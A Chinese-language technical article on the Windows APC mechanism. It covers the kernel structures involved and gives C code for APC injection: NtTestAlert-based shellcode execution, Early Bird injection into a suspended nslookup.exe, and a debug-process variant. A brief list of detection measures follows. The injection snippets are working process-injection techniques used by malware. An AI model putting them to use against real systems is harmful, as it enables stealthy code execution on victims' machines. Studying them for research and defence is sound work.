从APC到APC注入
字数 1191 2025-08-22 12:23:06

Windows APC机制与APC注入技术详解

1. APC基础概念

APC(Asynchronous Procedure Calls,异步过程调用)是Windows提供的一种机制,允许在特定线程上下文中异步执行函数。APC分为两种模式:

  • 用户模式APC:在用户空间执行
  • 内核模式APC:在内核空间执行

1.1 内核数据结构

APC相关的关键数据结构位于_KTHREAD中:

struct _KTHREAD {
    _KAPC_STATE ApcState;  // 存储APC状态
    UCHAR Alerted[2];      // 内核和用户是否处于可警告状态
    ULONG Alertable;       // 是否可被唤醒
    ULONG ApcQueueable;    // 是否允许APC插入队列
    _KAPC_STATE *ApcStatePointer[2]; // 存储ApcState和SavedApcState
    UCHAR ApcStateIndex;   // 是否挂靠
    ULONG ApcInterruptRequest; // 此线程是否能执行APC
    SHORT KernelApcDisable;    // 关闭内核APC
    SHORT SpecialApcDisable;  // 关闭紧急APC
};

_KAPC_STATE结构包含:

struct _KAPC_STATE {
    LIST_ENTRY ApcListHead[2]; // 内核和用户APC链表
    KPROCESS *Process;         // 挂靠的进程
    BOOLEAN KernelApcInProgress; // 内核APC是否正在执行
    BOOLEAN KernelApcPending;    // 内核APC链表中是否有值
    BOOLEAN UserApcInProgress;   // 用户APC是否正在执行
    BOOLEAN UserApcPending;      // 用户APC链表中是否有值
};

1.2 APC结构

struct _KAPC {
    UCHAR Type;             // 0x0
    UCHAR SpareByte0;       // 0x1
    UCHAR Size;            // 0x2
    UCHAR SpareByte1;       // 0x3
    ULONG SpareLong0;       // 0x4
    struct _KTHREAD *Thread; // 所属线程
    struct _LIST_ENTRY ApcListEntry; // 链表项
    VOID (*KernelRoutine)(struct _KAPC *arg1, VOID (**arg2)(VOID *arg1, VOID *arg2, VOID *arg3), VOID **arg3, VOID **arg4, VOID **arg5); // 内核回调
    VOID (*RundownRoutine)(struct _KAPC *arg1); // 清理回调
    VOID (*NormalRoutine)(VOID *arg1, VOID *arg2, VOID *arg3); // 常规APC回调
    VOID *NormalContext;    // 常规上下文
    VOID *SystemArgument1;  // 系统参数1
    VOID *SystemArgument2;  // 系统参数2
    CHAR ApcStateIndex;     // _KAPC_ENVIRONMENT枚举值
    CHAR ApcMode;          // 用户还是内核
    UCHAR Inserted;        // 是否被插入过
};

1.3 APC环境枚举

typedef enum _KAPC_ENVIRONMENT {
    OriginalApcEnvironment,   // 插入到不挂靠的环境
    AttachedApcEnvironment,   // 插入到挂靠的环境(初始化时插入)
    CurrentApcEnvironment,    // 当前环境
    InsertApcEnvironment      // 初始化时不插入,调用insertApc时判断
} KAPC_ENVIRONMENT;

2. APC初始化与插入

2.1 初始化APC

VOID KeInitializeApc(
    __out PRKAPC Apc,
    __in PRKTHREAD Thread,
    __in KAPC_ENVIRONMENT Environment,
    __in PKKERNEL_ROUTINE KernelRoutine,
    __in_opt PKRUNDOWN_ROUTINE RundownRoutine,
    __in_opt PKNORMAL_ROUTINE NormalRoutine,
    __in_opt KPROCESSOR_MODE ApcMode,
    __in_opt PVOID NormalContext
);

2.2 插入APC队列

BOOLEAN KeInsertQueueApc(
    __inout PRKAPC Apc,
    __in_opt PVOID SystemArgument1,
    __in_opt PVOID SystemArgument2,
    __in KPRIORITY Increment
);

KeInsertQueueApc内部调用KiInsertQueueApc,根据条件将APC插入到对应链表中:

  1. 内核APC:

    • 如果没有NormalContext,是紧急内核APC,插入链表头部紧急区域尾部
    • 否则直接插入链表尾部
  2. 用户APC:

    • 如果没有NormalRoutineKernelRoutinePsExitSpecialApc地址,插入到头部紧急区域头部

2.3 APC执行流程

APC的实际执行在KiDeliverApc中完成:

  1. 遍历APC链表,逐一取出并调用
  2. 先调用紧急APC,然后是内核APC,最后进入用户模式APC
  3. 紧急APC的IRQL等级是2,线程切换无法打断

3. APC注入技术

3.1 可警告状态

线程通过调用某些API进入可警告状态(Alertable=1):

  • WaitForSingleObject
  • WaitForMultipleObjects
  • SleepEx

3.2 基本APC注入

使用QueueUserAPC函数将用户模式APC对象添加到指定线程的APC队列:

#include <Windows.h>
#include <iostream>

void CALLBACK test(ULONG_PTR Parameter) {
    MessageBox(0, 0, 0, 0);
}

int main() {
    QueueUserAPC(test, GetCurrentThread(), 0);
    SleepEx(1000, TRUE);
}

3.3 基于NtTestAlert的注入

typedef NTSTATUS(NTAPI* pNtTestAlert)();

void ntAlertApc() {
    pNtTestAlert NtTestAlert = (pNtTestAlert)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtTestAlert");
    
    DWORD dwOldProtection = NULL;
    LPVOID lpMem = NULL;
    lpMem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(lpMem, shellcode, sizeof(shellcode));
    VirtualProtect(lpMem, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);
    
    QueueUserAPC((PAPCFUNC)lpMem, GetCurrentThread(), 0);
    NtTestAlert();
}

3.4 Early Bird APC注入

创建进程时指定CREATE_SUSPENDED标志,使进程挂起:

STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
LPVOID lpMem;
ULONG dwBytesWritten;
DWORD dwOldProtection;

CreateProcess(NULL, _wcsdup(L"C:\\Windows\\System32\\nslookup.exe"), 
             NULL, NULL, false, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

lpMem = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(pi.hProcess, lpMem, shellcode, sizeof(shellcode), &dwBytesWritten);
VirtualProtectEx(pi.hProcess, lpMem, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);

QueueUserAPC((PAPCFUNC)lpMem, pi.hThread, 0);
ResumeThread(pi.hThread);
WaitForSingleObject(pi.hThread, -1);

3.5 基于调试的Early Bird APC注入

创建进程时指定DEBUG_PROCESS标志:

CreateProcess(NULL, _wcsdup(L"C:\\Windows\\System32\\nslookup.exe"), 
             NULL, NULL, false, DEBUG_PROCESS, NULL, NULL, &si, &pi);

lpMem = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(pi.hProcess, lpMem, shellcode, sizeof(shellcode), &dwBytesWritten);
VirtualProtectEx(pi.hProcess, lpMem, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);

QueueUserAPC((PAPCFUNC)lpMem, pi.hThread, 0);
DebugActiveProcessStop(pi.dwProcessId);

4. 关键API

  1. SleepEx

    DWORD SleepEx(
      DWORD dwMilliseconds,
      BOOL  bAlertable
    );
    
  2. QueueUserAPC

    DWORD QueueUserAPC(
      PAPCFUNC  pfnAPC,
      HANDLE    hThread,
      ULONG_PTR dwData
    );
    
  3. NtTestAlert

    NTSTATUS NtTestAlert(VOID);
    

5. 防御与检测

APC注入技术可以被以下方式检测和防御:

  1. 监控可疑的APC队列操作
  2. 检查线程的Alertable状态异常修改
  3. 检测Early Bird技术创建的挂起进程
  4. 监控调试器附加行为
  5. 使用ETW(Event Tracing for Windows)跟踪APC活动

6. 总结

APC机制是Windows系统中强大的异步执行机制,既可用于合法用途,也可被恶意软件利用进行代码注入。理解APC的内部工作原理对于系统开发人员和安全研究人员都至关重要。通过深入分析_KTHREAD_KAPC等内核数据结构,可以更好地理解APC的执行流程和注入技术原理。

Windows APC机制与APC注入技术详解 1. APC基础概念 APC(Asynchronous Procedure Calls,异步过程调用)是Windows提供的一种机制,允许在特定线程上下文中异步执行函数。APC分为两种模式: 用户模式APC :在用户空间执行 内核模式APC :在内核空间执行 1.1 内核数据结构 APC相关的关键数据结构位于 _KTHREAD 中: _KAPC_STATE 结构包含: 1.2 APC结构 1.3 APC环境枚举 2. APC初始化与插入 2.1 初始化APC 2.2 插入APC队列 KeInsertQueueApc 内部调用 KiInsertQueueApc ,根据条件将APC插入到对应链表中: 内核APC: 如果没有 NormalContext ,是紧急内核APC,插入链表头部紧急区域尾部 否则直接插入链表尾部 用户APC: 如果没有 NormalRoutine 且 KernelRoutine 为 PsExitSpecialApc 地址,插入到头部紧急区域头部 2.3 APC执行流程 APC的实际执行在 KiDeliverApc 中完成: 遍历APC链表,逐一取出并调用 先调用紧急APC,然后是内核APC,最后进入用户模式APC 紧急APC的IRQL等级是2,线程切换无法打断 3. APC注入技术 3.1 可警告状态 线程通过调用某些API进入可警告状态(Alertable=1): WaitForSingleObject WaitForMultipleObjects SleepEx 3.2 基本APC注入 使用 QueueUserAPC 函数将用户模式APC对象添加到指定线程的APC队列: 3.3 基于NtTestAlert的注入 3.4 Early Bird APC注入 创建进程时指定 CREATE_SUSPENDED 标志,使进程挂起: 3.5 基于调试的Early Bird APC注入 创建进程时指定 DEBUG_PROCESS 标志: 4. 关键API SleepEx : QueueUserAPC : NtTestAlert : 5. 防御与检测 APC注入技术可以被以下方式检测和防御: 监控可疑的APC队列操作 检查线程的Alertable状态异常修改 检测Early Bird技术创建的挂起进程 监控调试器附加行为 使用ETW(Event Tracing for Windows)跟踪APC活动 6. 总结 APC机制是Windows系统中强大的异步执行机制,既可用于合法用途,也可被恶意软件利用进行代码注入。理解APC的内部工作原理对于系统开发人员和安全研究人员都至关重要。通过深入分析 _KTHREAD 和 _KAPC 等内核数据结构,可以更好地理解APC的执行流程和注入技术原理。